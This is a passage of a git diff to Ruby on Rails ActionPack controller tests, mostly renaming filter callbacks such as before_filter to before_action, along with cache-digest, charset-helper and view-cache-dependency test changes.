+ @store.read("views/test.host/functional_caching/formatted_fragment_cached_with_variant/#{template_digest("functional_caching/formatted_fragment_cached_with_variant")}")
end
private
- def template_digest(name, format)
- ActionView::Digestor.digest(name, format, @controller.lookup_context)
+ def template_digest(name)
+ ActionView::Digestor.digest(name: name, finder: @controller.lookup_context)
end
end
@@ -296,17 +332,20 @@ class CacheHelperOutputBufferTest < ActionController::TestCase
end
end
-class DeprecatedPageCacheExtensionTest < ActiveSupport::TestCase
- def test_page_cache_extension_binds_default_static_extension
- deprecation_behavior = ActiveSupport::Deprecation.behavior
- ActiveSupport::Deprecation.behavior = :silence
- old_extension = ActionController::Base.default_static_extension
+class ViewCacheDependencyTest < ActionController::TestCase
+ class NoDependenciesController < ActionController::Base
+ end
+
+ class HasDependenciesController < ActionController::Base
+ view_cache_dependency { "trombone" }
+ view_cache_dependency { "flute" }
+ end
- ActionController::Base.page_cache_extension = '.rss'
+ def test_view_cache_dependencies_are_empty_by_default
+ assert NoDependenciesController.new.view_cache_dependencies.empty?
+ end
- assert_equal '.rss', ActionController::Base.default_static_extension
- ensure
- ActiveSupport::Deprecation.behavior = deprecation_behavior
- ActionController::Base.default_static_extension = old_extension
+ def test_view_cache_dependencies_are_listed_in_declaration_order
+ assert_equal %w(trombone flute), HasDependenciesController.new.view_cache_dependencies
end
end
diff --git a/actionpack/test/controller/capture_test.rb b/actionpack/test/controller/capture_test.rb
deleted file mode 100644
index 72263156d9..0000000000
--- a/actionpack/test/controller/capture_test.rb
+++ /dev/null
@@ -1,79 +0,0 @@
-require 'abstract_unit'
-require 'active_support/logger'
-
-class CaptureController < ActionController::Base
- def self.controller_name; "test"; end
- def self.controller_path; "test"; end
-
- def content_for
- @title = nil
- render :layout => "talk_from_action"
- end
-
- def content_for_with_parameter
- @title = nil
- render :layout => "talk_from_action"
- end
-
- def content_for_concatenated
- @title = nil
- render :layout => "talk_from_action"
- end
-
- def non_erb_block_content_for
- @title = nil
- render :layout => "talk_from_action"
- end
-
- def proper_block_detection
- @todo = "some todo"
- end
-end
-
-class CaptureTest < ActionController::TestCase
- tests CaptureController
-
- def setup
- super
- # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
- # a more accurate simulation of what happens in "real life".
- @controller.logger = ActiveSupport::Logger.new(nil)
-
- @request.host = "www.nextangle.com"
- end
-
- def test_simple_capture
- get :capturing
- assert_equal "Dreamy days", @response.body.strip
- end
-
- def test_content_for
- get :content_for
- assert_equal expected_content_for_output, @response.body
- end
-
- def test_should_concatentate_content_for
- get :content_for_concatenated
- assert_equal expected_content_for_output, @response.body
- end
-
- def test_should_set_content_for_with_parameter
- get :content_for_with_parameter
- assert_equal expected_content_for_output, @response.body
- end
-
- def test_non_erb_block_content_for
- get :non_erb_block_content_for
- assert_equal expected_content_for_output, @response.body
- end
-
- def test_proper_block_detection
- get :proper_block_detection
- assert_equal "some todo", @response.body
- end
-
- private
- def expected_content_for_output
- "<title>Putting stuff in the title!</title>\nGreat stuff!"
- end
-end
diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb
index 03d5d27cf4..89667df3a4 100644
--- a/actionpack/test/controller/content_type_test.rb
+++ b/actionpack/test/controller/content_type_test.rb
@@ -68,12 +68,11 @@ class ContentTypeTest < ActionController::TestCase
end
def test_render_changed_charset_default
- ActionDispatch::Response.default_charset = "utf-16"
- get :render_defaults
- assert_equal "utf-16", @response.charset
- assert_equal Mime::HTML, @response.content_type
- ensure
- ActionDispatch::Response.default_charset = "utf-8"
+ with_default_charset "utf-16" do
+ get :render_defaults
+ assert_equal "utf-16", @response.charset
+ assert_equal Mime::HTML, @response.content_type
+ end
end
# :ported:
@@ -105,12 +104,11 @@ class ContentTypeTest < ActionController::TestCase
end
def test_nil_default_for_erb
- ActionDispatch::Response.default_charset = nil
- get :render_default_for_erb
- assert_equal Mime::HTML, @response.content_type
- assert_nil @response.charset, @response.headers.inspect
- ensure
- ActionDispatch::Response.default_charset = "utf-8"
+ with_default_charset nil do
+ get :render_default_for_erb
+ assert_equal Mime::HTML, @response.content_type
+ assert_nil @response.charset, @response.headers.inspect
+ end
end
def test_default_for_erb
@@ -130,6 +128,16 @@ class ContentTypeTest < ActionController::TestCase
assert_equal Mime::HTML, @response.content_type
assert_equal "utf-8", @response.charset
end
+
+ private
+
+ def with_default_charset(charset)
+ old_default_charset = ActionDispatch::Response.default_charset
+ ActionDispatch::Response.default_charset = charset
+ yield
+ ensure
+ ActionDispatch::Response.default_charset = old_default_charset
+ end
end
class AcceptBasedContentTypeTest < ActionController::TestCase
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index 1c59dd5953..38533dbf23 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -2,15 +2,15 @@ require 'abstract_unit'
class ActionController::Base
class << self
- %w(append_around_filter prepend_after_filter prepend_around_filter prepend_before_filter skip_after_filter skip_before_filter skip_filter).each do |pending|
+ %w(append_around_action prepend_after_action prepend_around_action prepend_before_action skip_after_action skip_before_action skip_action_callback).each do |pending|
define_method(pending) do |*args|
$stderr.puts "#{pending} unimplemented: #{args.inspect}"
end unless method_defined?(pending)
end
- def before_filters
+ def before_actions
filters = _process_action_callbacks.select { |c| c.kind == :before }
- filters.map! { |c| c.instance_variable_get(:@raw_filter) }
+ filters.map!(&:raw_filter)
end
end
@@ -28,8 +28,8 @@ end
class FilterTest < ActionController::TestCase
class TestController < ActionController::Base
- before_filter :ensure_login
- after_filter :clean_up
+ before_action :ensure_login
+ after_action :clean_up
def show
render :inline => "ran action"
@@ -42,13 +42,13 @@ class FilterTest < ActionController::TestCase
end
def clean_up
- @ran_after_filter ||= []
- @ran_after_filter << "clean_up"
+ @ran_after_action ||= []
+ @ran_after_action << "clean_up"
end
end
class ChangingTheRequirementsController < TestController
- before_filter :ensure_login, :except => [:go_wild]
+ before_action :ensure_login, :except => [:go_wild]
def go_wild
render :text => "gobble"
@@ -56,9 +56,9 @@ class FilterTest < ActionController::TestCase
end
class TestMultipleFiltersController < ActionController::Base
- before_filter :try_1
- before_filter :try_2
- before_filter :try_3
+ before_action :try_1
+ before_action :try_2
+ before_action :try_3
(1..3).each do |i|
define_method "fail_#{i}" do
@@ -78,8 +78,8 @@ class FilterTest < ActionController::TestCase
end
class RenderingController < ActionController::Base
- before_filter :before_filter_rendering
- after_filter :unreached_after_filter
+ before_action :before_action_rendering
+ after_action :unreached_after_action
def show
@ran_action = true
@@ -87,29 +87,29 @@ class FilterTest < ActionController::TestCase
end
private
- def before_filter_rendering
+ def before_action_rendering
@ran_filter ||= []
- @ran_filter << "before_filter_rendering"
+ @ran_filter << "before_action_rendering"
render :inline => "something else"
end
- def unreached_after_filter
- @ran_filter << "unreached_after_filter_after_render"
+ def unreached_after_action
+ @ran_filter << "unreached_after_action_after_render"
end
end
- class RenderingForPrependAfterFilterController < RenderingController
- prepend_after_filter :unreached_prepend_after_filter
+ class RenderingForPrependAfterActionController < RenderingController
+ prepend_after_action :unreached_prepend_after_action
private
- def unreached_prepend_after_filter
- @ran_filter << "unreached_preprend_after_filter_after_render"
+ def unreached_prepend_after_action
+ @ran_filter << "unreached_preprend_after_action_after_render"
end
end
- class BeforeFilterRedirectionController < ActionController::Base
- before_filter :before_filter_redirects
- after_filter :unreached_after_filter
+ class BeforeActionRedirectionController < ActionController::Base
+ before_action :before_action_redirects
+ after_action :unreached_after_action
def show
@ran_action = true
@@ -122,23 +122,23 @@ class FilterTest < ActionController::TestCase
end
private
- def before_filter_redirects
+ def before_action_redirects
@ran_filter ||= []
- @ran_filter << "before_filter_redirects"
+ @ran_filter << "before_action_redirects"
redirect_to(:action => 'target_of_redirection')
end
- def unreached_after_filter
- @ran_filter << "unreached_after_filter_after_redirection"
+ def unreached_after_action
+ @ran_filter << "unreached_after_action_after_redirection"
end
end
- class BeforeFilterRedirectionForPrependAfterFilterController < BeforeFilterRedirectionController
- prepend_after_filter :unreached_prepend_after_filter_after_redirection
+ class BeforeActionRedirectionForPrependAfterActionController < BeforeActionRedirectionController
+ prepend_after_action :unreached_prepend_after_action_after_redirection
private
- def unreached_prepend_after_filter_after_redirection
- @ran_filter << "unreached_prepend_after_filter_after_redirection"
+ def unreached_prepend_after_action_after_redirection
+ @ran_filter << "unreached_prepend_after_action_after_redirection"
end
end
@@ -151,8 +151,8 @@ class FilterTest < ActionController::TestCase
render :inline => "ran action"
end
- def show_without_filter
- render :inline => "ran action without filter"
+ def show_without_action
+ render :inline => "ran action without action"
end
private
@@ -168,54 +168,70 @@ class FilterTest < ActionController::TestCase
end
class ConditionalCollectionFilterController < ConditionalFilterController
- before_filter :ensure_login, :except => [ :show_without_filter, :another_action ]
+ before_action :ensure_login, :except => [ :show_without_action, :another_action ]
end
class OnlyConditionSymController < ConditionalFilterController
- before_filter :ensure_login, :only => :show
+ before_action :ensure_login, :only => :show
end
class ExceptConditionSymController < ConditionalFilterController
- before_filter :ensure_login, :except => :show_without_filter
+ before_action :ensure_login, :except => :show_without_action
end
class BeforeAndAfterConditionController < ConditionalFilterController
- before_filter :ensure_login, :only => :show
- after_filter :clean_up_tmp, :only => :show
+ before_action :ensure_login, :only => :show
+ after_action :clean_up_tmp, :only => :show
end
class OnlyConditionProcController < ConditionalFilterController
- before_filter(:only => :show) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
+ before_action(:only => :show) {|c| c.instance_variable_set(:"@ran_proc_action", true) }
end
class ExceptConditionProcController < ConditionalFilterController
- before_filter(:except => :show_without_filter) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
+ before_action(:except => :show_without_action) {|c| c.instance_variable_set(:"@ran_proc_action", true) }
end
class ConditionalClassFilter
- def self.before(controller) controller.instance_variable_set(:"@ran_class_filter", true) end
+ def self.before(controller) controller.instance_variable_set(:"@ran_class_action", true) end
end
class OnlyConditionClassController < ConditionalFilterController
- before_filter ConditionalClassFilter, :only => :show
+ before_action ConditionalClassFilter, :only => :show
end
class ExceptConditionClassController < ConditionalFilterController
- before_filter ConditionalClassFilter, :except => :show_without_filter
+ before_action ConditionalClassFilter, :except => :show_without_action
end
class AnomolousYetValidConditionController < ConditionalFilterController
- before_filter(ConditionalClassFilter, :ensure_login, Proc.new {|c| c.instance_variable_set(:"@ran_proc_filter1", true)}, :except => :show_without_filter) { |c| c.instance_variable_set(:"@ran_proc_filter2", true)}
+ before_action(ConditionalClassFilter, :ensure_login, Proc.new {|c| c.instance_variable_set(:"@ran_proc_action1", true)}, :except => :show_without_action) { |c| c.instance_variable_set(:"@ran_proc_action2", true)}
+ end
+
+ class OnlyConditionalOptionsFilter < ConditionalFilterController
+ before_action :ensure_login, :only => :index, :if => Proc.new {|c| c.instance_variable_set(:"@ran_conditional_index_proc", true) }
end
class ConditionalOptionsFilter < ConditionalFilterController
- before_filter :ensure_login, :if => Proc.new { |c| true }
- before_filter :clean_up_tmp, :if => Proc.new { |c| false }
+ before_action :ensure_login, :if => Proc.new { |c| true }
+ before_action :clean_up_tmp, :if => Proc.new { |c| false }
+ end
+
+ class ConditionalOptionsSkipFilter < ConditionalFilterController
+ before_action :ensure_login
+ before_action :clean_up_tmp
+
+ skip_before_action :ensure_login, if: -> { false }
+ skip_before_action :clean_up_tmp, if: -> { true }
+ end
+
+ class ClassController < ConditionalFilterController
+ before_action ConditionalClassFilter
end
class PrependingController < TestController
- prepend_before_filter :wonderful_life
- # skip_before_filter :fire_flash
+ prepend_before_action :wonderful_life
+ # skip_before_action :fire_flash
private
def wonderful_life
@@ -225,8 +241,8 @@ class FilterTest < ActionController::TestCase
end
class SkippingAndLimitedController < TestController
- skip_before_filter :ensure_login
- before_filter :ensure_login, :only => :index
+ skip_before_action :ensure_login
+ before_action :ensure_login, :only => :index
def index
render :text => 'ok'
@@ -238,9 +254,9 @@ class FilterTest < ActionController::TestCase
end
class SkippingAndReorderingController < TestController
- skip_before_filter :ensure_login
- before_filter :find_record
- before_filter :ensure_login
+ skip_before_action :ensure_login
+ before_action :find_record
+ before_action :ensure_login
def index
render :text => 'ok'
@@ -254,10 +270,10 @@ class FilterTest < ActionController::TestCase
end
class ConditionalSkippingController < TestController
- skip_before_filter :ensure_login, :only => [ :login ]
- skip_after_filter :clean_up, :only => [ :login ]
+ skip_before_action :ensure_login, :only => [ :login ]
+ skip_after_action :clean_up, :only => [ :login ]
- before_filter :find_user, :only => [ :change_password ]
+ before_action :find_user, :only => [ :change_password ]
def login
render :inline => "ran action"
@@ -275,8 +291,8 @@ class FilterTest < ActionController::TestCase
end
class ConditionalParentOfConditionalSkippingController < ConditionalFilterController
- before_filter :conditional_in_parent_before, :only => [:show, :another_action]
- after_filter :conditional_in_parent_after, :only => [:show, :another_action]
+ before_action :conditional_in_parent_before, :only => [:show, :another_action]
+ after_action :conditional_in_parent_after, :only => [:show, :another_action]
private
@@ -292,20 +308,20 @@ class FilterTest < ActionController::TestCase
end
class ChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
- skip_before_filter :conditional_in_parent_before, :only => :another_action
- skip_after_filter :conditional_in_parent_after, :only => :another_action
+ skip_before_action :conditional_in_parent_before, :only => :another_action
+ skip_after_action :conditional_in_parent_after, :only => :another_action
end
class AnotherChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
- skip_before_filter :conditional_in_parent_before, :only => :show
+ skip_before_action :conditional_in_parent_before, :only => :show
end
class ProcController < PrependingController
- before_filter(proc { |c| c.instance_variable_set(:"@ran_proc_filter", true) })
+ before_action(proc { |c| c.instance_variable_set(:"@ran_proc_action", true) })
end
class ImplicitProcController < PrependingController
- before_filter { |c| c.instance_variable_set(:"@ran_proc_filter", true) }
+ before_action { |c| c.instance_variable_set(:"@ran_proc_action", true) }
end
class AuditFilter
@@ -351,7 +367,7 @@ class FilterTest < ActionController::TestCase
end
class AuditController < ActionController::Base
- before_filter(AuditFilter)
+ before_action(AuditFilter)
def show
render :text => "hello"
@@ -359,14 +375,14 @@ class FilterTest < ActionController::TestCase
end
class AroundFilterController < PrependingController
- around_filter AroundFilter.new
+ around_action AroundFilter.new
end
class BeforeAfterClassFilterController < PrependingController
begin
filter = AroundFilter.new
- before_filter filter
- after_filter filter
+ before_action filter
+ after_action filter
end
end
@@ -378,18 +394,18 @@ class FilterTest < ActionController::TestCase
super()
end
- before_filter { |c| c.class.execution_log << " before procfilter " }
- prepend_around_filter AroundFilter.new
+ before_action { |c| c.class.execution_log << " before procfilter " }
+ prepend_around_action AroundFilter.new
- after_filter { |c| c.class.execution_log << " after procfilter " }
- append_around_filter AppendedAroundFilter.new
+ after_action { |c| c.class.execution_log << " after procfilter " }
+ append_around_action AppendedAroundFilter.new
end
class MixedSpecializationController < ActionController::Base
class OutOfOrder < StandardError; end
- before_filter :first
- before_filter :second, :only => :foo
+ before_action :first
+ before_action :second, :only => :foo
def foo
render :text => 'foo'
@@ -410,7 +426,7 @@ class FilterTest < ActionController::TestCase
end
class DynamicDispatchController < ActionController::Base
- before_filter :choose
+ before_action :choose
%w(foo bar baz).each do |action|
define_method(action) { render :text => action }
@@ -423,9 +439,9 @@ class FilterTest < ActionController::TestCase
end
class PrependingBeforeAndAfterController < ActionController::Base
- prepend_before_filter :before_all
- prepend_after_filter :after_all
- before_filter :between_before_all_and_after_all
+ prepend_before_action :before_all
+ prepend_after_action :after_all
+ before_action :between_before_all_and_after_all
def before_all
@ran_filter ||= []
@@ -450,16 +466,14 @@ class FilterTest < ActionController::TestCase
class RescuingAroundFilterWithBlock
def around(controller)
- begin
- yield
- rescue ErrorToRescue => ex
- controller.__send__ :render, :text => "I rescued this: #{ex.inspect}"
- end
+ yield
+ rescue ErrorToRescue => ex
+ controller.__send__ :render, :text => "I rescued this: #{ex.inspect}"
end
end
class RescuedController < ActionController::Base
- around_filter RescuingAroundFilterWithBlock.new
+ around_action RescuingAroundFilterWithBlock.new
def show
raise ErrorToRescue.new("Something made the bad noise.")
@@ -468,10 +482,10 @@ class FilterTest < ActionController::TestCase
class NonYieldingAroundFilterController < ActionController::Base
- before_filter :filter_one
- around_filter :non_yielding_filter
- before_filter :filter_two
- after_filter :filter_three
+ before_action :filter_one
+ around_action :non_yielding_action
+ before_action :action_two
+ after_action :action_three
def index
render :inline => "index"
@@ -484,24 +498,24 @@ class FilterTest < ActionController::TestCase
@filters << "filter_one"
end
- def filter_two
- @filters << "filter_two"
+ def action_two
+ @filters << "action_two"
end
- def non_yielding_filter
+ def non_yielding_action
@filters << "it didn't yield"
@filter_return_value
end
- def filter_three
- @filters << "filter_three"
+ def action_three
+ @filters << "action_three"
end
end
class ImplicitActionsController < ActionController::Base
- before_filter :find_only, :only => :edit
- before_filter :find_except, :except => :edit
+ before_action :find_only, :only => :edit
+ before_action :find_except, :except => :edit
private
@@ -514,7 +528,7 @@ class FilterTest < ActionController::TestCase
end
end
- def test_non_yielding_around_filters_not_returning_false_do_not_raise
+ def test_non_yielding_around_actions_not_returning_false_do_not_raise
controller = NonYieldingAroundFilterController.new
controller.instance_variable_set "@filter_return_value", true
assert_nothing_raised do
@@ -522,7 +536,7 @@ class FilterTest < ActionController::TestCase
end
end
- def test_non_yielding_around_filters_returning_false_do_not_raise
+ def test_non_yielding_around_actions_returning_false_do_not_raise
controller = NonYieldingAroundFilterController.new
controller.instance_variable_set "@filter_return_value", false
assert_nothing_raised do
@@ -530,64 +544,64 @@ class FilterTest < ActionController::TestCase
end
end
- def test_after_filters_are_not_run_if_around_filter_returns_false
+ def test_after_actions_are_not_run_if_around_action_returns_false
controller = NonYieldingAroundFilterController.new
controller.instance_variable_set "@filter_return_value", false
test_process(controller, "index")
assert_equal ["filter_one", "it didn't yield"], controller.assigns['filters']
end
- def test_after_filters_are_not_run_if_around_filter_does_not_yield
+ def test_after_actions_are_not_run_if_around_action_does_not_yield
controller = NonYieldingAroundFilterController.new
controller.instance_variable_set "@filter_return_value", true
test_process(controller, "index")
assert_equal ["filter_one", "it didn't yield"], controller.assigns['filters']
end
- def test_added_filter_to_inheritance_graph
- assert_equal [ :ensure_login ], TestController.before_filters
+ def test_added_action_to_inheritance_graph
+ assert_equal [ :ensure_login ], TestController.before_actions
end
def test_base_class_in_isolation
- assert_equal [ ], ActionController::Base.before_filters
+ assert_equal [ ], ActionController::Base.before_actions
end
- def test_prepending_filter
- assert_equal [ :wonderful_life, :ensure_login ], PrependingController.before_filters
+ def test_prepending_action
+ assert_equal [ :wonderful_life, :ensure_login ], PrependingController.before_actions
end
- def test_running_filters
+ def test_running_actions
test_process(PrependingController)
assert_equal %w( wonderful_life ensure_login ), assigns["ran_filter"]
end
- def test_running_filters_with_proc
+ def test_running_actions_with_proc
test_process(ProcController)
- assert assigns["ran_proc_filter"]
+ assert assigns["ran_proc_action"]
end
- def test_running_filters_with_implicit_proc
+ def test_running_actions_with_implicit_proc
test_process(ImplicitProcController)
- assert assigns["ran_proc_filter"]
+ assert assigns["ran_proc_action"]
end
- def test_running_filters_with_class
+ def test_running_actions_with_class
test_process(AuditController)
assert assigns["was_audited"]
end
- def test_running_anomolous_yet_valid_condition_filters
+ def test_running_anomolous_yet_valid_condition_actions
test_process(AnomolousYetValidConditionController)
assert_equal %w( ensure_login ), assigns["ran_filter"]
- assert assigns["ran_class_filter"]
- assert assigns["ran_proc_filter1"]
- assert assigns["ran_proc_filter2"]
+ assert assigns["ran_class_action"]
+ assert assigns["ran_proc_action1"]
+ assert assigns["ran_proc_action2"]
- test_process(AnomolousYetValidConditionController, "show_without_filter")
+ test_process(AnomolousYetValidConditionController, "show_without_action")
assert_nil assigns["ran_filter"]
- assert !assigns["ran_class_filter"]
- assert !assigns["ran_proc_filter1"]
- assert !assigns["ran_proc_filter2"]
+ assert !assigns["ran_class_action"]
+ assert !assigns["ran_proc_action1"]
+ assert !assigns["ran_proc_action2"]
end
def test_running_conditional_options
@@ -595,113 +609,135 @@ class FilterTest < ActionController::TestCase
assert_equal %w( ensure_login ), assigns["ran_filter"]
end
- def test_running_collection_condition_filters
+ def test_running_conditional_skip_options
+ test_process(ConditionalOptionsSkipFilter)
+ assert_equal %w( ensure_login ), assigns["ran_filter"]
+ end
+
+ def test_skipping_class_actions
+ test_process(ClassController)
+ assert_equal true, assigns["ran_class_action"]
+
+ skipping_class_controller = Class.new(ClassController) do
+ skip_before_action ConditionalClassFilter
+ end
+
+ test_process(skipping_class_controller)
+ assert_nil assigns['ran_class_action']
+ end
+
+ def test_running_collection_condition_actions
test_process(ConditionalCollectionFilterController)
assert_equal %w( ensure_login ), assigns["ran_filter"]
- test_process(ConditionalCollectionFilterController, "show_without_filter")
+ test_process(ConditionalCollectionFilterController, "show_without_action")
assert_nil assigns["ran_filter"]
test_process(ConditionalCollectionFilterController, "another_action")
assert_nil assigns["ran_filter"]
end
- def test_running_only_condition_filters
+ def test_running_only_condition_actions
test_process(OnlyConditionSymController)
assert_equal %w( ensure_login ), assigns["ran_filter"]
- test_process(OnlyConditionSymController, "show_without_filter")
+ test_process(OnlyConditionSymController, "show_without_action")
assert_nil assigns["ran_filter"]
test_process(OnlyConditionProcController)
- assert assigns["ran_proc_filter"]
- test_process(OnlyConditionProcController, "show_without_filter")
- assert !assigns["ran_proc_filter"]
+ assert assigns["ran_proc_action"]
+ test_process(OnlyConditionProcController, "show_without_action")
+ assert !assigns["ran_proc_action"]
test_process(OnlyConditionClassController)
- assert assigns["ran_class_filter"]
- test_process(OnlyConditionClassController, "show_without_filter")
- assert !assigns["ran_class_filter"]
+ assert assigns["ran_class_action"]
+ test_process(OnlyConditionClassController, "show_without_action")
+ assert !assigns["ran_class_action"]
end
- def test_running_except_condition_filters
+ def test_running_except_condition_actions
test_process(ExceptConditionSymController)
assert_equal %w( ensure_login ), assigns["ran_filter"]
- test_process(ExceptConditionSymController, "show_without_filter")
+ test_process(ExceptConditionSymController, "show_without_action")
assert_nil assigns["ran_filter"]
test_process(ExceptConditionProcController)
- assert assigns["ran_proc_filter"]
- test_process(ExceptConditionProcController, "show_without_filter")
- assert !assigns["ran_proc_filter"]
+ assert assigns["ran_proc_action"]
+ test_process(ExceptConditionProcController, "show_without_action")
+ assert !assigns["ran_proc_action"]
test_process(ExceptConditionClassController)
- assert assigns["ran_class_filter"]
- test_process(ExceptConditionClassController, "show_without_filter")
- assert !assigns["ran_class_filter"]
+ assert assigns["ran_class_action"]
+ test_process(ExceptConditionClassController, "show_without_action")
+ assert !assigns["ran_class_action"]
end
- def test_running_before_and_after_condition_filters
+ def test_running_only_condition_and_conditional_options
+ test_process(OnlyConditionalOptionsFilter, "show")
+ assert_not assigns["ran_conditional_index_proc"]
+ end
+
+ def test_running_before_and_after_condition_actions
test_process(BeforeAndAfterConditionController)
assert_equal %w( ensure_login clean_up_tmp), assigns["ran_filter"]
- test_process(BeforeAndAfterConditionController, "show_without_filter")
+ test_process(BeforeAndAfterConditionController, "show_without_action")
assert_nil assigns["ran_filter"]
end
- def test_around_filter
+ def test_around_action
test_process(AroundFilterController)
assert assigns["before_ran"]
assert assigns["after_ran"]
end
- def test_before_after_class_filter
+ def test_before_after_class_action
test_process(BeforeAfterClassFilterController)
assert assigns["before_ran"]
assert assigns["after_ran"]
end
- def test_having_properties_in_around_filter
+ def test_having_properties_in_around_action
test_process(AroundFilterController)
assert_equal "before and after", assigns["execution_log"]
end
- def test_prepending_and_appending_around_filter
+ def test_prepending_and_appending_around_action
test_process(MixedFilterController)
assert_equal " before aroundfilter before procfilter before appended aroundfilter " +
" after appended aroundfilter after procfilter after aroundfilter ",
MixedFilterController.execution_log
end
- def test_rendering_breaks_filtering_chain
+ def test_rendering_breaks_actioning_chain
response = test_process(RenderingController)
assert_equal "something else", response.body
assert !assigns["ran_action"]
end
- def test_before_filter_rendering_breaks_filtering_chain_for_after_filter
+ def test_before_action_rendering_breaks_actioning_chain_for_after_action
test_process(RenderingController)
- assert_equal %w( before_filter_rendering ), assigns["ran_filter"]
+ assert_equal %w( before_action_rendering ), assigns["ran_filter"]
assert !assigns["ran_action"]
end
- def test_before_filter_redirects_breaks_filtering_chain_for_after_filter
- test_process(BeforeFilterRedirectionController)
+ def test_before_action_redirects_breaks_actioning_chain_for_after_action
+ test_process(BeforeActionRedirectionController)
assert_response :redirect
- assert_equal "http://test.host/filter_test/before_filter_redirection/target_of_redirection", redirect_to_url
- assert_equal %w( before_filter_redirects ), assigns["ran_filter"]
+ assert_equal "http://test.host/filter_test/before_action_redirection/target_of_redirection", redirect_to_url
+ assert_equal %w( before_action_redirects ), assigns["ran_filter"]
end
- def test_before_filter_rendering_breaks_filtering_chain_for_preprend_after_filter
- test_process(RenderingForPrependAfterFilterController)
- assert_equal %w( before_filter_rendering ), assigns["ran_filter"]
+ def test_before_action_rendering_breaks_actioning_chain_for_preprend_after_action
+ test_process(RenderingForPrependAfterActionController)
+ assert_equal %w( before_action_rendering ), assigns["ran_filter"]
assert !assigns["ran_action"]
end
- def test_before_filter_redirects_breaks_filtering_chain_for_preprend_after_filter
- test_process(BeforeFilterRedirectionForPrependAfterFilterController)
+ def test_before_action_redirects_breaks_actioning_chain_for_preprend_after_action
+ test_process(BeforeActionRedirectionForPrependAfterActionController)
assert_response :redirect
- assert_equal "http://test.host/filter_test/before_filter_redirection_for_prepend_after_filter/target_of_redirection", redirect_to_url
- assert_equal %w( before_filter_redirects ), assigns["ran_filter"]
+ assert_equal "http://test.host/filter_test/before_action_redirection_for_prepend_after_action/target_of_redirection", redirect_to_url
+ assert_equal %w( before_action_redirects ), assigns["ran_filter"]
end
- def test_filters_with_mixed_specialization_run_in_order
+ def test_actions_with_mixed_specialization_run_in_order
assert_nothing_raised do
response = test_process(MixedSpecializationController, 'bar')
assert_equal 'bar', response.body
@@ -722,7 +758,7 @@ class FilterTest < ActionController::TestCase
end
end
- def test_running_prepended_before_and_after_filter
+ def test_running_prepended_before_and_after_action
test_process(PrependingBeforeAndAfterController)
assert_equal %w( before_all between_before_all_and_after_all after_all ), assigns["ran_filter"]
end
@@ -739,26 +775,26 @@ class FilterTest < ActionController::TestCase
assert_equal %w( find_record ensure_login ), assigns["ran_filter"]
end
- def test_conditional_skipping_of_filters
+ def test_conditional_skipping_of_actions
test_process(ConditionalSkippingController, "login")
assert_nil assigns["ran_filter"]
test_process(ConditionalSkippingController, "change_password")
assert_equal %w( ensure_login find_user ), assigns["ran_filter"]
test_process(ConditionalSkippingController, "login")
- assert !@controller.instance_variable_defined?("@ran_after_filter")
+ assert !@controller.instance_variable_defined?("@ran_after_action")
test_process(ConditionalSkippingController, "change_password")
- assert_equal %w( clean_up ), @controller.instance_variable_get("@ran_after_filter")
+ assert_equal %w( clean_up ), @controller.instance_variable_get("@ran_after_action")
end
- def test_conditional_skipping_of_filters_when_parent_filter_is_also_conditional
+ def test_conditional_skipping_of_actions_when_parent_action_is_also_conditional
test_process(ChildOfConditionalParentController)
assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter']
test_process(ChildOfConditionalParentController, 'another_action')
assert_nil assigns['ran_filter']
end
- def test_condition_skipping_of_filters_when_siblings_also_have_conditions
+ def test_condition_skipping_of_actions_when_siblings_also_have_conditions
test_process(ChildOfConditionalParentController)
assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter']
test_process(AnotherChildOfConditionalParentController)
@@ -772,7 +808,7 @@ class FilterTest < ActionController::TestCase
assert_nil assigns['ran_filter']
end
- def test_a_rescuing_around_filter
+ def test_a_rescuing_around_action
response = nil
assert_nothing_raised do
response = test_process(RescuedController)
@@ -782,7 +818,7 @@ class FilterTest < ActionController::TestCase
assert_equal("I rescued this: #<FilterTest::ErrorToRescue: Something made the bad noise.>", response.body)
end
- def test_filters_obey_only_and_except_for_implicit_actions
+ def test_actions_obey_only_and_except_for_implicit_actions
test_process(ImplicitActionsController, 'show')
assert_equal 'Except', assigns(:except)
assert_nil assigns(:only)
@@ -816,7 +852,7 @@ class PostsController < ActionController::Base
include AroundExceptions
end
- module_eval %w(raises_before raises_after raises_both no_raise no_filter).map { |action| "def #{action}; default_action end" }.join("\n")
+ module_eval %w(raises_before raises_after raises_both no_raise no_action).map { |action| "def #{action}; default_action end" }.join("\n")
private
def default_action
@@ -825,9 +861,9 @@ class PostsController < ActionController::Base
end
class ControllerWithSymbolAsFilter < PostsController
- around_filter :raise_before, :only => :raises_before
- around_filter :raise_after, :only => :raises_after
- around_filter :without_exception, :only => :no_raise
+ around_action :raise_before, :only => :raises_before
+ around_action :raise_after, :only => :raises_after
+ around_action :without_exception, :only => :no_raise
private
def raise_before
@@ -859,7 +895,7 @@ class ControllerWithFilterClass < PostsController
end
end
- around_filter YieldingFilter, :only => :raises_after
+ around_action YieldingFilter, :only => :raises_after
end
class ControllerWithFilterInstance < PostsController
@@ -870,22 +906,11 @@ class ControllerWithFilterInstance < PostsController
end
end
- around_filter YieldingFilter.new, :only => :raises_after
-end
-
-class ControllerWithFilterMethod < PostsController
- class YieldingFilter < DefaultFilter
- def around(controller)
- yield
- raise After
- end
- end
-
- around_filter YieldingFilter.new.method(:around), :only => :raises_after
+ around_action YieldingFilter.new, :only => :raises_after
end
class ControllerWithProcFilter < PostsController
- around_filter(:only => :no_raise) do |c,b|
+ around_action(:only => :no_raise) do |c,b|
c.instance_variable_set(:"@before", true)
b.call
c.instance_variable_set(:"@after", true)
@@ -893,14 +918,14 @@ class ControllerWithProcFilter < PostsController
end
class ControllerWithNestedFilters < ControllerWithSymbolAsFilter
- around_filter :raise_before, :raise_after, :without_exception, :only => :raises_both
+ around_action :raise_before, :raise_after, :without_exception, :only => :raises_both
end
class ControllerWithAllTypesOfFilters < PostsController
- before_filter :before
- around_filter :around
- after_filter :after
- around_filter :around_again
+ before_action :before
+ around_action :around
+ after_action :after
